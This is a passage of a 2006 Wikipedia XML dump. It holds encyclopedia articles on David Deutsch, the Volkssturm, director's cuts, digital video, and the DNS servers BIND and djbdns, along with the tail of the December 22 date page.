*[[1995]] - [[Butterfly McQueen]], American actress (b. [[1911]])
*1995 - [[James Meade]], English economists, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (b. [[1907]])
*[[2002]] - [[Desmond Hoyte]], [[President of Guyana]] (b. [[1929]])
*2002 - [[Joe Strummer]], British musician ([[The Clash]]) (b. [[1952]])
*[[2003]] - [[Dave Dudley]], American singer (b. [[1928]])
*[[2004]] - [[Doug Ault]], baseball player (b. [[1950]])
*[[2005]] - [[James Dungy]], eldest son of [[Tony Dungy]] (b.[[1987]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - commemoration of [[Mother Cabrini|Frances Xavier Cabrini]]
* Also see [[December 22 (Eastern Orthodox liturgics)]]
* [[Japan]] - Tōji ([[winter solstice]])
* In the [[Northern Hemisphere]], the [[winter solstice]] occurs on or very close to this date. In the [[Southern Hemisphere]], the [[summer solstice]] occurs around this time.
* [[Astrology]]: First day of sun sign [[Capricorn]]
* [[Culture of Spain|Spain]]: the main draw of [[Spanish National Lottery]], where it is a Christmas tradition.

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/22 BBC: On This Day]
* [http://www.tnl.net/when/12/22 Today in History: December 22]
----

[[December 21]] - [[December 23]] - [[November 22]] - [[January 22]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:22 Desember]]
[[ar:22 ديسمبر]]
[[an:22 d'abiento]]
[[ast:22 d'avientu]]
[[bg:22 декември]]
[[be:22 сьнежня]]
[[bs:22. decembar]]
[[ca:22 de desembre]]
[[ceb:Disyembre 22]]
[[cv:Раштав, 22]]
[[co:22 di decembre]]
[[cs:22. prosinec]]
[[cy:22 Rhagfyr]]
[[da:22. december]]
[[de:22. Dezember]]
[[et:22. detsember]]
[[el:22 Δεκεμβρίου]]
[[es:22 de diciembre]]
[[eo:22-a de decembro]]
[[eu:Abenduaren 22]]
[[fo:22. desember]]
[[fr:22 décembre]]
[[fy:22 desimber]]
[[ga:22 Nollaig]]
[[gl:22 de decembro]]
[[ko:12월 22일]]
[[hr:22. prosinca]]
[[io:22 di decembro]]
[[id:22 Desember]]
[[ia:22 de decembre]]
[[is:22. desember]]
[[it:22 dicembre]]
[[he:22 בדצמבר]]
[[jv:22 Desember]]
[[ka:22 დეკემბერი]]
[[csb:22 gòdnika]]
[[ku:22'ê berfanbarê]]
[[la:22 Decembris]]
[[lt:Gruodžio 22]]
[[lb:22. Dezember]]
[[hu:December 22]]
[[mk:22 декември]]
[[ms:22 Disember]]
[[nap:22 'e dicembre]]
[[nl:22 december]]
[[ja:12月22日]]
[[no:22. desember]]
[[nn:22. desember]]
[[oc:22 de decembre]]
[[pl:22 grudnia]]
[[pt:22 de Dezembro]]
[[ro:22 decembrie]]
[[ru:22 декабря]]
[[se:Juovlamánu 22.]]
[[sco:22 December]]
[[sq:22 Dhjetor]]
[[scn:22 di dicèmmiru]]
[[simple:December 22]]
[[sk:22. december]]
[[sl:22. december]]
[[sr:22. децембар]]
[[fi:22. joulukuuta]]
[[sv:22 december]]
[[tl:Disyembre 22]]
[[ta:டிசம்பர் 22]]
[[tt:22. Dekäber]]
[[te:డిసెంబర్ 22]]
[[th:22 ธันวาคม]]
[[vi:22 tháng 12]]
[[tr:22 Aralık]]
[[uk:22 грудня]]
[[wa:22 d' decimbe]]
[[war:Disyembre 22]]
[[zh:12月22日]]
[[pam:Disiembri 22]]</text>
    </revision>
  </page>
  <page>
    <title>David Deutsch</title>
    <id>8729</id>
    <revision>
      <id>40432045</id>
      <timestamp>2006-02-20T14:31:13Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Causation]] to [[Causality]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Image:DavidDeutsch.jpg|thumb|200px|right|Deutsch]]

'''David Deutsch''' (born [[1953]]) is a [[physicist]] at [[University of Oxford|Oxford University]]. He pioneered the field of [[quantum computer|quantum computers]], and is a proponent of the [[Everett many-worlds interpretation|many-worlds interpretation]] of [[quantum mechanics]]. 

In his book ''The Fabric of Reality'' this interpretation, or what he calls the ''[[multiverse]]''  hypothesis, is one strand of a four-strand theory of everything, the other strands being [[Karl Popper|Karl Popper's]] [[epistemology]] and [[philosophy]] of science, [[Richard Dawkins|Richard Dawkins's]] refinement of [[Darwin]]ian evolutionary theory, and [[Alan Turing|Alan Turing's]] theory of computation especially as developed in Deutsch's idea of a universal quantum computer.  His theory of everything is emergentist rather than reductive. It aims not at the reduction of everything to particle physics, but rather mutual support among multiverse, computational, [[epistemological]], and evolutionary principles. 

This emergentist posture allows computing theory's Turing principle to do serious work in Deutsch's world-view. In the strong form he favors it implies that a universal quantum computer, capable of rendering any physically possible environment, actually exists near the end of spacetime in every universe and is maintained by sentient beings with the knowledge required to increase its memory, computing cycles, and energy supply. In this he follows [[Frank Tipler]] in ''The Physics of Immortality'', though he emphasizes the scientific component of Tipler's [[Omega Point]] hypothesis, the component that is justified by Popperian [[epistemology]] as implied by our best science. He is much less sympathetic to the non-scientific component, which provides rational reconstructions for traditional theological categories such as ''[[God]],'' ''[[omniscience]]'', ''[[omnipresence]]'', ''benevolence'', ''creation'', and so on. 

The Turing principle is also sometimes called the Deutsch principle by those who question whether Turing's work on the foundations of computing was aiming to disclose what could be computed tractably &quot;in nature&quot;. There are [[Tractable|tractability]] issues when, for instance, [[factoring]] and [[decryption]] problems are attacked with [[turing machine|Turing-machine]] or classical-computation methods, problems that seem to be resolved by quantum-computing techniques such as [[Shor's algorithm]]. Turing universality isn't universality enough, Deutsch thinks. Turing's abstract computer needs to be replaced by the actual, physical, universal quantum computer derived from the Turing/Deutsch principle. 

That principle is also sometimes called the [[The Matrix|Matrix]] principle, because Deutsch's conception of [[virtual reality]] figures in its statement: &quot;It is possible to build a virtual reality generator whose repertoire includes every physically possible environment.&quot; Some [[Cognitive psychology|cognitive psychologist]]s think that Deutsch's view of the brain as a virtual-reality generating computer, adequate to rendering a humanly experienced environment, affords a sufficiently robust account of subjective experience or [[qualia]], one consistent with a view of the mind/brain as a computer, to break down the impasse between qualia-phobes and qualia-freaks. A virtual-reality generator consists of an image generator to provide the subject with perceptual content from the several sensory modalities, perhaps in the forms of transducers connected directly to afferent nerves by use of neural implants, and a program to handle interaction between the subject's choices and the virtual environment. Nearer to the [[omega point]] this [[transhumanism|transhuman]] enhanced-biology scenario gives way to a [[posthumanism|posthuman]] condition, because biology becomes untenable. Gravitational shearing and other extreme forces call for more durable substrates for human psychology. The brain is replaced by sturdy computational equivalents in virtual realities, protected from the [[Big Crunch]] and pushed in the final moments by unlimited computational cycles affording their posthuman residents the subjective experience of immortality. 

A [[quantum computer]] farms out computing problems to other universes in order to achieve tractability for solutions that otherwise get bogged down by exponentially increasing demands for more time and other computational resources. The apparent need on a [[scientific realism|realist]] conception of science to posit such collaboration inspires a pugnacious comment from Deutsch: &quot;To those who still cling to a single-universe world-view, I issue this challenge: ''explain how Shor's algorithm works''.&quot; The challenge is meant to imply that a Turing machine is incapable in principle of doing what a quantum computer can do, since the latter's operations in executing [[Shor's algorithm]] require computational resources from other worlds. And generally, a quantum computer's operations include computational steps in other worlds that are not present in any Turing-machine's tape (in this world). Deutsch thinks this has implications for proof theory, which must abandon the model of an inspectable list of premises leading to a conclusion, in favor of a model of a process in which the relationship between premises and conclusion may be mediated by computations that are not inspectable (in this world).

Another important theme in the book is that basic ideas about the universe are either vindicated or undermined by the multiverse hypothesis. For instance, [[counterfactual conditional|counterfactual conditionals]] refer to nearby [[parallel worlds]] when they stipulate what a thing would do under conditions that do not actually obtain; one-worlders implicitly collapse what things ''can'' do into what they ''actually'' do. (He acknowledges a kindred spirit in the philosopher [[David Lewis (philosopher)|David Lewis]], whose modal realism handles [[counterfactuals]] in a similar fashion. He takes Lewis to have &quot;postulated the existence of a multiverse for philosophical reasons alone.&quot; This is a contentious claim, since Lewis's realism about possible worlds extends to worlds that are not physically possible, such as the world where [[Harry Potter]] was schooled at [[Hogwarts]], whereas Deutsch's multiverse includes all and only physically possible worlds. Also Lewis's possible worlds are disjoint, whereas Deutsch's parallel worlds interact through interference. On the other hand, Lewis recognizes overlapping worlds as a theoretical possibility, and Deutsch's universal quantum computer can render Harry Potter worlds to any desired degree of accuracy.) 

[[Knowledge]] is a trans-universe structure, as one might expect because knowledge supports counterfactual implications, as revealed for instance in [[Robert Nozick|Robert Nozick's]] ''tracking'' account of knowledge. Nearby parallel worlds are united by a common history of knowledge acquisition, spelled out in broadly Popperian terms. The resulting epistemological niche lends stability and reliability to knowledge in each universe. [[Life]] is a similar trans-universe structure, molded by natural selection rather than rational criticism. What distinguishes genuine replicating [[DNA]] from junk DNA is that the former but not the latter is representative of a niche of replicators that extends across worlds. Indeed [[personal identity]] is inseparable from such a niche, which Deutsch picks out with the word &quot;copies&quot;. A person is a set of copies in nearby parallel worlds. This comes out in his analysis of [[free will]]: ''I could have chosen otherwise'' is analysed as ''Other copies of me chose otherwise.'' And in the denouement to a dramatic chapter that rehearses interference experiments from a multiverse 
viewpoint, he writes of his copies, &quot;Many of those Davids are at this moment writing these very words. Some are putting it better. Others have gone for a cup of tea.&quot;

Not only are persons spread out through worlds, but they, like everything else, are quantized through time in any given world. Time is a series of moments, and a person who exists at a moment exists there forever in four-dimensional spacetime, rather than being transformed continuously through the flow of time. Such change and flow are mythical, Deutsch argues. Since &quot;other times are just special cases of other universes&quot;, this temporal granularity of personhood is a special case of being spread out through worlds. In addition to one's identically time-stamped copies at a moment across parallel worlds transversely, there are the differently time-stamped copies across parallel worlds longitudinally, linked by natural law so as to give the individual's experience of one world and a continuous self. 

An intellectual descendant of [[David Hume]] via the paternity of Popper, Deutsch is not only a critic of [[induction (philosophy)|induction]] but also a Humean about [[Causality|causation]], to the degree that he rejects the idea of a causal power effecting a change, in favor of construing it as a multiverse regularity. So ''A causes B'' means something like ''After A-copies occur in many nearby parallel worlds, including the one in this world, B-copies occur''. This regularity supports counterfactuals that accompany true causal claims, such as ''If A hadn't happened, B would not have taken place.'' There are affinities to Hume's constant-conjunction understanding of causation and Popper's [[deductive-nomological]] account.

Politically, Deutsch is known to be sympathetic to [[Libertarian]]ism, and was a founder of the ''[[Taking Children Seriously]]'' movement. He is also an [[atheist]].

[[Image:deutsch2.jpg|thumb|cartoon representation of Deutsch]]

He was awarded the [[Dirac Prize]] of the [[Institute of Physics]] in [[1998]], and the [[Edge of Computation Science Prize]] in [[2005]].

==Popular publications==

* ''The Fabric of Reality'', ISBN 0140146903

==External links==
* [http://www.qubit.org/people/david/ David Deutsch's homepage]
* [http://www.takingchildrenseriously.com ''Taking Children Seriously'' homepage]
{{wikiquote}}


[[Category:1953 births|Deutsch, David]]
[[Category:Living people|Deutsch, David]]
[[Category:British_physicists|Deutsch, David]]
[[Category:Israeli_physicists|Deutsch, David]]
[[Category:Atheists|Deutsch, David]]

[[de:David Deutsch]]
[[fr:David Deutsch]]
[[ja:デイヴィッド・ドイッチュ]]
[[nl:David Deutsch]]</text>
    </revision>
  </page>
  <page>
    <title>Volkssturm</title>
    <id>8730</id>
    <revision>
      <id>39887665</id>
      <timestamp>2006-02-16T16:02:42Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: es</comment>
      <text xml:space="preserve">[[Image:VSARM.jpg|thumb|300px|right|&quot;German People's Storm Defense Force&quot;]]
The '''Volkssturm''', literally translated as ''People's Storm'' in the meaning of ''National Storm'', was a German national militia of the last months of the [[Nazism|Nazi's]] [[Third Reich]]. It was founded on [[Adolf Hitler]]'s orders on [[October 18]], [[1944]] and effectively conscripted all males between the ages of 16 to 60 years of age (who did not already serve in some military unit) as part of the German [[Home Guard]].

==Origins==
The Volkssturm had existed, on paper, since approximately 1935, however it was only after Hitler ordered [[Martin Bormann]] to recruit 6 million men for this militia that the group became a physical reality. The basic unit was a [[battalion]] of 642 men and the units were mostly composed of members of the [[Hitler Youth]], invalids, or men who had previously been considered unfit for military service.  The Volkssturm was under the ultimate command of the [[Home Army]] which, in late 1944 and early 1945, was commanded by [[Heinrich Himmler]].

==Uniforms and insignia==
The Volkssturm &quot;uniform&quot; was only a black armband with words ''Deutscher Volkssturm'' with a series of silver collar pips pinned to the wearer's collar. Because the [[Wehrmacht]] could not provide uniforms to all its members, some members of the Volkssturm wore makeshift paramilitary uniforms or uniforms from their civilian jobs (such as train conductors of the [[Reichsbahn]]). The simple [[Nazi party paramilitary ranks|paramilitary insignia]] of the Volkssturm was as follows:

{| style=&quot;border:1px solid #8888aa; background-color:#f7f8ff; padding:5px; font-size:95%; margin: 0px 12px 12px 0px;&quot;
|align=&quot;center&quot; rowspan=&quot;2&quot;| '''Volkssturm Rank'''
|align=&quot;center&quot;| '''Translation'''
|align=&quot;center&quot;| '''Collar Insignia'''
|-
|
|-
|align=&quot;center&quot;|  [[Bataillionsführer]] 
|align=&quot;center&quot;|  Battalion Leader
|align=&quot;center&quot;|  [[Image:SSmajEarly.gif|75px]]
|-
|
|-
|align=&quot;center&quot;|  [[Kompanieführer]]  
|align=&quot;center&quot;|  Company Leader
|align=&quot;center&quot;|  [[Image:SS2ndLTptch.gif|75px]]
|-
|
|-
|align=&quot;center&quot;|  [[Zugführer]] 
|align=&quot;center&quot;|  Section Leader
|align=&quot;center&quot;|  [[Image:SSSrg1ptch.gif|75px]]
|-
|
|-
|align=&quot;center&quot;|  [[Gruppenführer]]
|alien=&quot;center&quot;|  Group Leader
|align=&quot;center&quot;|  [[Image:SSsrgptch.gif|75px]]
|-
|
|-
|align=&quot;center&quot;|  [[Volkssturmmann]]
|alien=&quot;center&quot;|  Peoples Storm Trooper
|align=&quot;center&quot;|  '''No Insignia'''
|-

|}

==Training and Impact==
Typically, members of the Volkssturm received a brief indoctrindation training, on use of basic weapons such as the [[rifle]] and [[Panzerfaust]], before taking a customary oath to Hitler and then dispatched to face the enemy. Unlike most English speaking countries, Germany did have universal military service for all young men for several generations, so many of the older members of the Volkssturm would have had at least basic military training when they served in the German army and many would have been veterans of the [[First World War]].

Volkssturm units were supposed to be used only in their own districts, but many were sent directly to the front lines. The most extensive use of the Volkssturm was during the [[Battle of Berlin]], during which Volkssturm units fought the best they could.  The Battle of Berlin was particular devastating to the Volkssturm, since many Volkssturm members fought to the death when facing [[Red Army]] troops, mostly out of fear of what awaited any German combatant who fell into Russian hands.

Most war historians agree that Volkssturm had negligible strategic effect on the outcome of the war.

==Books==
* '''David K. Yelton''': ''Hitler's Volkssturm'' (2002)

==External links==
*[http://www.lonesentry.com/articles/volkssturm/index.html U.S. Wartime Intelligence Report on German Volkssturm]

[[Category:German loanwords]]
[[Category:World War II groups]]

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    </revision>
  </page>
  <page>
    <title>Director's cut</title>
    <id>8731</id>
    <revision>
      <id>42026201</id>
      <timestamp>2006-03-03T08:10:18Z</timestamp>
      <contributor>
        <ip>4.226.78.13</ip>
      </contributor>
      <text xml:space="preserve">A '''Director's cut''' is a specially edited version of a [[film|movie]] that is supposed to represent the [[film director|director]]'s own approved edit of the movie. It is often released some time after the original release of the film, where the original release was released in a version different from the director's approved edit. 'Cut' is synonymous with 'edit' in this context.

With most studio films the director does not have [[Final cut privilege|final cut]], rather the studio can insist on changes to make the film more likely to succeed at the box office.  This sometimes means happier endings or less ambiguity.  Most common, however, is that studios ask that the film be shortened.  The most common form of director's cut is thus to have extra scenes added making films often considerably longer.

The director's cut was first introduced in the early [[1980s]] alongside the rise of the home video industry. Video releases of director's cuts were originally created for the small but dedicated cultfans market.  Two of the first films to be re-released as a director's cut were [[Michael Cimino]]'s [[Heaven's Gate (film)|''Heaven's Gate'']] &amp; [[Ridley Scott]]'s ''[[Blade Runner]]''.  Many feel that the director's cut version is the better film.

When it was discovered that the market for alternate versions of films was substantial, director's cuts for a wide array of films were introduced, even some where the director had final cut. These mostly contained deleted scenes, often adding a full half-hour to the length of the film. Rarely are these director's cuts considered superior to the original film.

A related concept is that of an ''extended'' or ''[[special edition]]''. An example is [[Peter Jackson]]'s ''[[Lord of the Rings]]'' movies. While Jackson considers the theatrical releases of those films to be his final &quot;director's cut&quot;, the extended cut was made so that fans of the material could see nearly all of the scenes shot for the script, but that were cut for theatrical running time or other reasons. Other examples of extended/special editions include [[Francis Ford Coppola|Coppola]]'s ''[[Apocalypse Now|Apocalypse Now Redux]]'', [[James Cameron]]'s lengthier cuts of ''[[Aliens (1986 film)|Aliens]]'' and ''[[Terminator 2: Judgment Day]]'' and Luc Besson's ''Version Intégrale'' cut of ''[[Léon]]''.

Less frequently, [[computer and video games|video games]] will receive re-releases with added material under a &quot;director's cut&quot; label. One of the earliest games to use this concept was ''[[Resident Evil (video game)|Resident Evil]]'' for the [[Sony]] [[PlayStation]], which featured a new &quot;arrange mode&quot; with various changes made to the game, among other changes. ''Grand Theft Auto: The Director's Cut'' packaged ''[[Grand Theft Auto (game)|Grand Theft Auto]]'' with the add-on [[expansion pack]] ''[[Grand Theft Auto: London, 1969]]''.

==See also==
*[[Film modification]] 

[[Category:Film]]

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[[fi:Ohjaajan versio]]</text>
    </revision>
  </page>
  <page>
    <title>Digital video</title>
    <id>8733</id>
    <revision>
      <id>40822897</id>
      <timestamp>2006-02-23T06:08:44Z</timestamp>
      <contributor>
        <ip>207.105.81.83</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Digital video''' is a type of [[video]] recording system that works by using a [[digital]], rather than [[analog signal|analog]], representation of the video signal. This generic term is not to be confused with the name ''[[DV|DV]]'', which is a specific type of digital video. Digital video is most often recorded on tape, then distributed on [[optical disc]]s, usually [[DVD]]s. There are exceptions, such as [[camcorder]]s that record directly to DVDs, and [[Digital8]] camcorders which encode digital video on conventional analog tapes.

The terms &quot;camera&quot;, &quot;video camera&quot;, and &quot;camcorder&quot; are used interchangeably in this article.

==Introduction==
Video cameras come in two different image capture formats: [[interlace]]d and [[progressive scan]]. Interlaced cameras record the image in alternating sets of lines: the odd-numbered lines are scanned, and then the even-numbered lines are scanned, then the odd-numbered lines are scanned again, and so on.  One set of odd or even lines is referred to as a “field”, and a consecutive pairing of two fields of opposite parity is called a ''frame''. 

A progressive scanning digital video camera records each frame as distinct, with both fields being identical. Thus, interlaced video captures twice as many fields per second as progressive video does when both operate at the same number of [[frame rate|frames per second]]. This is one of the reasons video has a “hyper-real” look, because it draws a different image 60 times per second, as opposed to film, which records 24 or 25 progressive frames per second.  

Progressive scan camcorders such as the [[Panasonic DVX100]] are generally more desirable because of the similarities they share with film. They both record frames progressively, which results in a crisper image. They can both shoot at 24 frames per second, which results in motion strobing (blurring of the subject when fast movement occurs). Thus so, progressive scanning video cameras tend to be more expensive than their interlaced counterparts. (Note that even though the digital video format only allows for 29.97 interlaced frames per second [or 25 for PAL], 24 frames per second progressive video is possible by displaying identical fields for each frame, and displaying 3 fields of an identical image for certain frames. For a more detailed explanation, see the [http://adamwilt.com/24p/#24pRecording/ adamwilt.com link].

Standard [[film stock]]s such as [[16 mm]] and [[35 mm]] record at 24 or 25 [[frame rate|frames per second]]. For video, there are two frame rate standards: [[NTSC]], and [[PAL]], which shoot at 30/1.001 (about 29.97) frames per second and 25 frames per second, respectively. 

Because it is digital, video can be copied with almost no degradation in quality; no matter how many generations a source is copied, it will, perceptively at least, be as clear as the original first generation footage. 

Digital video can be processed and edited on an NLE, or [[non-linear editing]] station, a device built exclusively to edit video and [[sound recording|audio]].  These frequently can import from analog as well as digital sources, but are not intended to do anything other than edit videos. Digital video can also be edited on a personal computer which has the proper hardware and software. Using a NLE station, digital video can be manipulated to follow an order, or sequence, of video clips. [[Avid]]'s software and hardware is almost synonymous with the professional NLE market, but Apple’s Final Cut Pro, Adobe’s Premiere, and similar programs are also popular. 

More and more so, videos are edited on readily available, increasingly affordable hardware and software. Even large budget films, such as [[Cold Mountain]], have been edited entirely on Final Cut Pro, Apple's non linear editing software.

Regardless of software, digital video is generally edited on a setup with ample disk space. Digital video applied with standard DV/DVCPRO compression takes up about 250 megabytes per minute or 13 gigabytes per hour. 

Digital video has a significantly lower cost than 35 mm film, as the tapes can be viewed on location without processing, and the tape stock itself is very inexpensive (about $3 for a 60 minute MiniDV tape, in bulk, as of December, 2005). By comparison, 35 mm film stock costs about $1000 per minute, including processing. 

Digital video is used outside of movie making. [[Digital television]] (including higher quality [[High Definition Television|HDTV]]) started to spread in most developed countries in early 2000s. Digital video is also used in modern [[mobile phones]] and [[Video teleconference|video conferencing]] systems. Digital video is also used for [[Internet]] distribution of media, including [[streaming video]] and [[peer-to-peer]] movie distribution.

Many types of compression exist for serving digital video over the internet, and onto DVD’s. While DV video is not compressed beyond its own codec while editing, the file sizes that result are not practical for delivery onto optical discs or over the internet, with codecs such as the Windows Media format, MPEG2, MPEG4, Real Media, the more recent H.264, and the Sorenson media codec. Probably the most widely used formats for delivering video over the internet are MPEG4 and Windows Media, while MPEG2 is used almost exclusively for DVD’s, providing an exceptional image in minimal size but resulting in a high level of CPU consumption to decompress.

[[As of 2005]], the highest resolution demonstrated for digital video generation is 33 [[megapixel]]s (7680 x 4320) at 60 frames per second (&quot;[[UHDV]]&quot;), though this has only been demonstrated in special laboratory settings [http://archive.avsforum.com/avs-vb/history/topic/409580-1.html]. The highest speed is attained in industrial and scientific [[high speed camera]]s that are capable of filming 1024x1024 video at up to 1 million frames per second (for very short time, obviously).

==Storage formats==
===Encoding===
All current formats, which are listed below, are [[PCM]] based.
*[[CCIR 601]] used for broadcast stations
*[[MPEG-4]] good for online distribution of large videos
*[[MPEG-2]] used for DVDs and Super-VCDs
*[[MPEG-1]] used for video CDs
*[[H.261]]
*[[H.263]]
*[[H.264/MPEG-4 AVC|H.264]] a.k.a. ''MPEG-4 Part 10'', a.k.a ''AVC''
*[[Theora]] standardized but still in development. used for video over the internet.

===Tapes===
*[[Betacam|Betacam SX]], [[Betacam|Betacam IMX]], [[Digital Betacam]]
*[[D1 (Sony)|D1]], [[D2 (video format)|D2]], [[D3 (video)|D3]], [[D5]], [[D9]] (aka Digital-S)
*[[DV]], [[MiniDV]] - used in most of today's consumer cameras
*[[DVCAM]], [[DVCPRO]] - used in professional broadcast operations
*[[Digital8]] -

==See also==
*[[Video]]
*[[Digital cinematography]]
*[[List of video topics]]
*[[Digital audio]], [[Digital film]]
*[[DVD]]
*[[Video coding]]
*[[Camcorder]]
*[[Video editing software]]
*[[Webcam]]
*[[Television]]
*[[Digital visual interface]]

==External links==
*[http://www.mandy.com/ Directory of Video Production Services]
*[http://www.thedvshow.com/ Listen to a Podcast related to Video Production]
*[http://www.adamwilt.com Adam Wilt's website], including the DV FAQ
*[http://adamwilt.com/24p/#24pRecording/ Adam Wilt's explanation of how 24 progressive frames per second video is recorded to 29.97 interlaced frames per second]

[[Category:Video and movie technology]]

[[pl:Digital video]]
[[zh:数字视频]]</text>
    </revision>
  </page>
  <page>
    <title>Dijkstra</title>
    <id>8734</id>
    <revision>
      <id>15906691</id>
      <timestamp>2002-06-05T23:21:10Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Edsger Dijkstra]]</comment>
      <text xml:space="preserve">#REDIRECT [[Edsger Dijkstra]]</text>
    </revision>
  </page>
  <page>
    <title>BIND</title>
    <id>8735</id>
    <revision>
      <id>37729228</id>
      <timestamp>2006-02-01T21:01:47Z</timestamp>
      <contributor>
        <username>Fleminra</username>
        <id>44454</id>
      </contributor>
      <minor />
      <comment>+[[Comparison of DNS server software]]</comment>
      <text xml:space="preserve">{{Infobox_Software |
  name = BIND |
  caption =  |
  developer = ISC |
  latest_release_version = 9.3.2 |
  latest_release_date = January 2, 2006 |
  operating_system = [[UNIX]] like |
  genre = [[DNS server]] |
  license = [[BSD license]] |
  website = [http://www.isc.org/index.pl?/sw/bind/ Official Site] |
}}
'''BIND''' (''Berkeley Internet Name Domain'', previously: ''Berkeley Internet Name Daemon'') is the most commonly used [[Domain Name System|DNS]] server on the Internet, especially on [[Unix]]-like systems, where it is a ''[[de facto]]'' [[standardization|standard]]. Supported by [[Internet Systems Consortium]], it was originally created by [[Paul Vixie]] in [[1988]] while working for [[Digital Equipment Corporation|DEC]].  

A new version of BIND (BIND 9) was written from scratch in part to address the architectural difficulties with auditing the earlier BIND code bases, and also to support [[DNSSEC]] (DNS Security Extensions). Other important features of BIND 9 include: TSIG, DNS notify, nsupdate, [[IPv6]], rndc flush, views, multiprocessor support, and an improved portability architecture.
It is commonly used on linux systems.

== History ==
BIND was originally written in the early 80s under a [[Defense Advanced Research Projects Agency|DARPA]] grant.  In the mid-1980s, [[Digital Equipment Corporation|DEC]] employees took over BIND development.  One of these employees was [[Paul Vixie]], who continued to work on BIND after leaving DEC.  He eventually helped start the [[Internet Software Consortium|ISC]], which became the entity responsible for maintaining BIND.

The development of BIND 9 was done with a combination of commercial and military contracts.  Most of the features of BIND 9 were funded by UNIX vendors who wanted to ensure that BIND stayed competitive with Microsoft's DNS offerings; the [[DNSSEC]] features were funded by the US military who felt that DNS security was important.  

== Criticisms ==
Like [[Sendmail]], [[File transfer protocol|FTP]], and other systems dating back to the more [[Laissez-faire|laissez-faire]] earlier days of the Internet, BIND 4 and BIND 8 have had a large number of serious security vulnerabilities over the years.  BIND 9, being a rewrite, has a much better security history.

BIND 9 is a fairly large application that includes a large number of features that most DNS administrators probably will never use.  

== See also ==
* [[Comparison of DNS server software]]

== External links ==
* [http://www.isc.org/products/BIND/ The official BIND site] at Internet Systems Consortium (ISC.org)
* [http://www.bind9.net/ DNS &amp; BIND Resources] at Bind9.net
* [http://www.dnssec.net/ DNS Security Extensions (DNSSEC)] at DNSSEC.net
* [http://www.isc.org/index.pl?/sw/bind/bind-history.php A Brief History of BIND] by ISC


[[Category:DNS software]]

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    </revision>
  </page>
  <page>
    <title>Djbdns</title>
    <id>8736</id>
    <revision>
      <id>42036312</id>
      <timestamp>2006-03-03T10:25:00Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{lowercase|title=djbdns}}

The '''djbdns''' program is a simple and secure [[Domain Name System|DNS]] implementation created by [[Daniel J. Bernstein]] due to his frustrations with repeated [[BIND]] [[security hole]]s. There is an as-yet-unclaimed $500 prize (see External Links, below) for the first person to find a [[security hole]] in djbdns.

As of [[2004]], it was the third most popular DNS server (counting [[BIND]] version 9 separately from versions 8 and 4) for the publication of DNS data.&lt;sup&gt;1&lt;/sup&gt;
== The components of djbdns ==
The package contains:
* six servers: 
** dnscache -- the local dns resolver and cache.
** tinydns -- a database-driven dns server.
** walldns -- a &quot;reverse DNS wall&quot;, providing IP to domain name lookup only.
** rbldns -- a server designed for dns blacklisting service.
** pickdns -- a database-driven server that chooses from matching records depending on the requester's location. (This feature is now a standard part of tinydns.)
** axfrdns -- a zone-transfer server.
* a number of client tools:
** axfr-get -- a zone-transfer client.
** dnsip -- simple address from name lookup.
** dnsipq -- address from name lookup with rewriting rules.
** dnsname -- simple name from address lookup.
** dnstxt -- simple text record from name lookup.
** dnsmx -- mail exchanger lookup.
** dnsfilter -- looks up names for addresses read from stdin, in parallel.
** dnsqr -- recursive general record lookup.
** dnsq -- non-recursive general record lookup, useful for debugging.
** dnstrace (and dnstracesort) -- comprehensive testing of the chains of authority over dns servers and their names.
* and associated configuration tools.

In djbdns, different features and services, like AXFR zone transfers, are split off into separate programs. Zone file parsing, DNS [[cache|caching]], and [[recursive]] [[resolve|resolving]] are also implemented as separate programs.  The result of these design decisions is a dramatic reduction in code size and complexity of the [[daemon (computer software)|daemon]] program that answers lookup requests.  [[Daniel J. Bernstein]] (and many others) feel that this is true to the spirit of the [[Unix]] operating system, and makes security verification much simpler.
== Copyright status ==
:''Main article: [[Licence-Free Software]]''
The package is distributed as [[Licence-Free Software]]; the software does not meet the [[Open Source Definition]].  This stops djbdns from being included with some Linux distributions, such as [[Debian]].  This is also probably why many other [[Linux distribution]]s do not include it. The software is free for anyone to use, however; the source code is publicly available, can be downloaded by anyone free of charge, and is open for inspection and modification by users.  The licensing issues have not deterred a large number of feature-enhancing augmentations from being published.  The only limitation is that one can not legally distribute a modified version of djbdns; modifications have to be distributed as [[diff]] patches.

== See also ==
* [[Comparison of DNS server software]]
* [[qmail]]

== References ==
# {{cite web
 | title = Survey of DNS servers
 | work = Survey
 | url = http://mydns.bboy.net./survey/
 | accessdate = January 6
 | accessyear = 2005
 }}
# {{cite web
 | title = Debian djbdns
 | work = Debian packages
 | url = http://smarden.org/pape/Debian/djbdns.html
 | accessdate = October 11
 | accessyear = 2005
 }}

== External links ==
*[http://cr.yp.to/djbdns.html djbdns official homepage]
*[http://cr.yp.to/djbdns/guarantee.html The $500 prize]
*[http://lifewithdjbdns.org/ A guide to DJBDNS]
*[http://djbdns.faqts.com/ The djbdns section of FAQTS]
*[http://www.tinydns.org/ Unofficial website]
*[http://www.djbdnsrocks.org/ A djbdns guide and tutorial with addon]
*[http://homepages.tesco.net/~J.deBoynePollard/FGA/djbdns-myths-dispelled.html Jonathan de Boyne Pollard's debunking of several myths relating to djbdns]
*[http://homepages.tesco.net/~J.deBoynePollard/FGA/djbdns-problems.html Jonathan de Boyne Pollard's list of the several known problems in djbdns]
*[http://www.anders.com/projects/sysadmin/djbdnsRecordBuilder/ Supporting newer record formats through generic records.]
*[http://lwn.net/2001/features/djbdns.php3 LWN (Linux weekly news) looks at DjbDNS]

[[Category:DNS software]]

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    </revision>
  </page>
  <page>
    <title>MaraDNS</title>
    <id>8737</id>
    <revision>
      <id>40715424</id>
